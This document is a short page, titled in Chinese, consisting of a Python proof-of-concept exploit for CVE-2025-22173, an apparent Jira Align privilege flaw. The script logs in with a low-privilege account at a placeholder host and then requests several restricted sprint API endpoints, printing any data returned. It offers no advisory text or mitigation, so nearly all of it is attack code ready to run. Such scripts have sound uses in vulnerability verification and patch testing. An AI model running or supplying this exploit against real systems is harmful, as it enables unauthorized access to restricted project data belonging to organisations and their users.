CVE-2025-22173: Jira Align 低权限用户越权访问漏洞

# CVE-2025-22173 PoC - Jira Align Unauthorized Sprint Data Access # Low-privilege user accessing restricted sprint endpoints import requests import json TARGET_URL = "https://jira-align.example.com" LOGIN_EMAIL = "[email protected]" LOGIN_PASSWORD = "user_password" def login(): """Authenticate with low-privilege account""" session = requests.Session() login_url = f"{TARGET_URL}/rest/auth/latest/session" payload = { "username": LOGIN_EMAIL, "password": LOGIN_PASSWORD } response = session.post(login_url, json=payload) if response.status_code == 200: print("[+] Login successful with low-privilege account") return session else: print("[-] Login failed") return None def exploit_unauthorized_access(session): """Exploit CVE-2025-22173 - Access restricted sprint data""" # Target restricted endpoints that should require higher privileges restricted_endpoints = [ "/rest/align/api/latest/sprints", "/rest/align/api/latest/sprints/1", "/rest/align/api/latest/sprints/2", "/rest/align/api/latest/programs/*/sprints" ] print("\n[*] Attempting to access restricted sprint endpoints...") for endpoint in restricted_endpoints: url = f"{TARGET_URL}{endpoint}" response = session.get(url) if response.status_code == 200: print(f"[+] SUCCESS: Accessed {endpoint}") print(f" Response: {response.text[:200]}...") else: print(f"[-] Blocked: {endpoint} (Status: {response.status_code})") def main(): session = login() if session: exploit_unauthorized_access(session) if __name__ == "__main__": main()